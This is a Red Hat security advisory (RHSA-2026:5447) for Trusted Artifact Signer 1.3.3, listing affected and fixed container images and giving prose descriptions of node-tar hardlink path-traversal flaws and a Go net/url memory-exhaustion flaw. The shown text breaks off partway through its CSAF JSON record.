| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64 | — |
Workaround
|
Threats
Impact
Moderate
A flaw was found in node-tar, a Node.js module for handling TAR archives. This vulnerability allows a remote attacker to bypass path traversal protections by crafting a malicious TAR archive. The security check for hardlink entries uses different path resolution logic than the actual hardlink creation, enabling the attacker to create hardlinks to arbitrary files outside the intended extraction directory. This could lead to unauthorized information disclosure or further system compromise.
8.2 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
9 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in node-tar. An attacker can craft a malicious archive that, when extracted with default options, creates a hardlink outside the intended extraction directory. This vulnerability allows the attacker to perform arbitrary file read and write operations as the user extracting the archive, bypassing existing path protections. This can lead to unauthorized access and modification of sensitive system files.
7.1 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
9 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64 | — |
Workaround
|
Threats
Impact
Moderate
References
37 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:5447 | self |
| https://access.redhat.com/documentation/en-us/red… | external |
| https://access.redhat.com/documentation/en-us/red… | external |
| https://access.redhat.com/security/cve/CVE-2025-61726 | external |
| https://access.redhat.com/security/cve/CVE-2025-61728 | external |
| https://access.redhat.com/security/cve/CVE-2026-24842 | external |
| https://access.redhat.com/security/cve/CVE-2026-26960 | external |
| https://access.redhat.com/security/updates/classi… | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2025-61726 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2434432 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-61726 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-61726 | external |
| https://go.dev/cl/736712 | external |
| https://go.dev/issue/77101 | external |
| https://groups.google.com/g/golang-announce/c/Vd2… | external |
| https://pkg.go.dev/vuln/GO-2026-4341 | external |
| https://access.redhat.com/security/cve/CVE-2025-61728 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2434431 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-61728 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-61728 | external |
| https://go.dev/cl/736713 | external |
| https://go.dev/issue/77102 | external |
| https://pkg.go.dev/vuln/GO-2026-4342 | external |
| https://access.redhat.com/security/cve/CVE-2026-24842 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2433645 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-24842 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-24842 | external |
| https://github.com/isaacs/node-tar/commit/f4a7aa9… | external |
| https://github.com/isaacs/node-tar/security/advis… | external |
| https://access.redhat.com/security/cve/CVE-2026-26960 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2441253 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-26960 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-26960 | external |
| https://github.com/isaacs/node-tar/commit/2cb1120… | external |
| https://github.com/isaacs/node-tar/commit/d18e4e1… | external |
| https://github.com/isaacs/node-tar/security/advis… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "The 1.3.3 release of Red Hat Trusted Artifact Signer OpenShift Operator.\nFor more details please visit the product documentation at https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3",
"title": "Topic"
},
{
"category": "general",
"text": "The RHTAS Operator can be used with OpenShift Container Platform 4.16, 4.17, 4.18, 4.19, 4.20 and 4.21",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:5447",
"url": "https://access.redhat.com/errata/RHSA-2026:5447"
},
{
"category": "external",
"summary": "https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3",
"url": "https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3"
},
{
"category": "external",
"summary": "https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3/html-single/release_notes/index",
"url": "https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3/html-single/release_notes/index"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-61726",
"url": "https://access.redhat.com/security/cve/CVE-2025-61726"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-61728",
"url": "https://access.redhat.com/security/cve/CVE-2025-61728"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-24842",
"url": "https://access.redhat.com/security/cve/CVE-2026-24842"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-26960",
"url": "https://access.redhat.com/security/cve/CVE-2026-26960"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_5447.json"
}
],
"title": "Red Hat Security Advisory: RHTAS 1.3.3 - Red Hat Trusted Artifact Signer Release",
"tracking": {
"current_release_date": "2026-07-23T03:45:22+00:00",
"generator": {
"date": "2026-07-23T03:45:22+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.7"
}
},
"id": "RHSA-2026:5447",
"initial_release_date": "2026-03-23T16:03:55+00:00",
"revision_history": [
{
"date": "2026-03-23T16:03:55+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-07-18T05:32:03+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-07-23T03:45:22+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Trusted Artifact Signer 1.3",
"product": {
"name": "Red Hat Trusted Artifact Signer 1.3",
"product_id": "Red Hat Trusted Artifact Signer 1.3",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:trusted_artifact_signer:1.3::el9"
}
}
}
],
"category": "product_family",
"name": "Red Hat Trusted Artifact Signer"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"product": {
"name": "registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"product_id": "registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rekor-backfill-redis-rhel9@sha256%3A8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7?arch=amd64\u0026repository_url=registry.redhat.io/rhtas\u0026tag=1773307592"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"product": {
"name": "registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"product_id": "registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"product_identification_helper": {
"purl": "pkg:oci/certificate-transparency-rhel9@sha256%3A61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf?arch=amd64\u0026repository_url=registry.redhat.io/rhtas\u0026tag=1773308392"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"product": {
"name": "registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"product_id": "registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"product_identification_helper": {
"purl": "pkg:oci/trillian-database-rhel9@sha256%3A6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307?arch=amd64\u0026repository_url=registry.redhat.io/rhtas\u0026tag=1773307620"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"product": {
"name": "registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"product_id": "registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"product_identification_helper": {
"purl": "pkg:oci/fulcio-rhel9@sha256%3Ad71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953?arch=amd64\u0026repository_url=registry.redhat.io/rhtas\u0026tag=1773307677"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"product": {
"name": "registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"product_id": "registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"product_identification_helper": {
"purl": "pkg:oci/trillian-logserver-rhel9@sha256%3Af02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41?arch=amd64\u0026repository_url=registry.redhat.io/rhtas\u0026tag=1773231678"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"product": {
"name": "registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"product_id": "registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"product_identification_helper": {
"purl": "pkg:oci/trillian-logsigner-rhel9@sha256%3A8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53?arch=amd64\u0026repository_url=registry.redhat.io/rhtas\u0026tag=1773231678"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64",
"product": {
"name": "registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64",
"product_id": "registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64",
"product_identification_helper": {
"purl": "pkg:oci/trillian-redis-rhel9@sha256%3Acc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a?arch=amd64\u0026repository_url=registry.redhat.io/rhtas\u0026tag=1773307620"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"product": {
"name": "registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"product_id": "registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rekor-search-ui-rhel9@sha256%3A865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0?arch=amd64\u0026repository_url=registry.redhat.io/rhtas\u0026tag=1773308315"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"product": {
"name": "registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"product_id": "registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rekor-server-rhel9@sha256%3A5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48?arch=amd64\u0026repository_url=registry.redhat.io/rhtas\u0026tag=1773307592"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"product": {
"name": "registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"product_id": "registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"product_identification_helper": {
"purl": "pkg:oci/timestamp-authority-rhel9@sha256%3A1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98?arch=amd64\u0026repository_url=registry.redhat.io/rhtas\u0026tag=1773307765"
}
}
}
],
"category": "architecture",
"name": "amd64"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64 as a component of Red Hat Trusted Artifact Signer 1.3",
"product_id": "Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64"
},
"product_reference": "registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"relates_to_product_reference": "Red Hat Trusted Artifact Signer 1.3"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64 as a component of Red Hat Trusted Artifact Signer 1.3",
"product_id": "Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64"
},
"product_reference": "registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"relates_to_product_reference": "Red Hat Trusted Artifact Signer 1.3"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64 as a component of Red Hat Trusted Artifact Signer 1.3",
"product_id": "Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64"
},
"product_reference": "registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"relates_to_product_reference": "Red Hat Trusted Artifact Signer 1.3"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64 as a component of Red Hat Trusted Artifact Signer 1.3",
"product_id": "Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64"
},
"product_reference": "registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"relates_to_product_reference": "Red Hat Trusted Artifact Signer 1.3"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64 as a component of Red Hat Trusted Artifact Signer 1.3",
"product_id": "Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64"
},
"product_reference": "registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"relates_to_product_reference": "Red Hat Trusted Artifact Signer 1.3"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64 as a component of Red Hat Trusted Artifact Signer 1.3",
"product_id": "Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64"
},
"product_reference": "registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"relates_to_product_reference": "Red Hat Trusted Artifact Signer 1.3"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64 as a component of Red Hat Trusted Artifact Signer 1.3",
"product_id": "Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64"
},
"product_reference": "registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"relates_to_product_reference": "Red Hat Trusted Artifact Signer 1.3"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64 as a component of Red Hat Trusted Artifact Signer 1.3",
"product_id": "Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64"
},
"product_reference": "registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"relates_to_product_reference": "Red Hat Trusted Artifact Signer 1.3"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64 as a component of Red Hat Trusted Artifact Signer 1.3",
"product_id": "Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64"
},
"product_reference": "registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"relates_to_product_reference": "Red Hat Trusted Artifact Signer 1.3"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64 as a component of Red Hat Trusted Artifact Signer 1.3",
"product_id": "Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
},
"product_reference": "registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64",
"relates_to_product_reference": "Red Hat Trusted Artifact Signer 1.3"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2025-61726",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-01-28T20:01:42.791305+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2434432"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the net/url package in the Go standard library. The package does not enforce a limit on the number of unique query parameters it parses. A Go application using the net/http.Request.ParseForm method will try to process all parameters provided in the request. A specially crafted HTTP request containing a massive number of query parameters will cause the application to consume an excessive amount of memory, eventually causing the application to crash or become unresponsive, resulting in a denial of service.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "golang: net/url: Memory exhaustion in query parameter parsing in net/url",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "To exploit this flaw, an attacker must be able to send a specially crafted HTTP request to an application parsing URL-encoded forms with net/url, specifically a request containing a large number of unique query parameters. The request will cause the application to consume an excessive amount of memory and eventually result in a denial of service, with no impact to confidentiality or integrity. Due to this reason, this vulnerability has been rated with an important severity.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
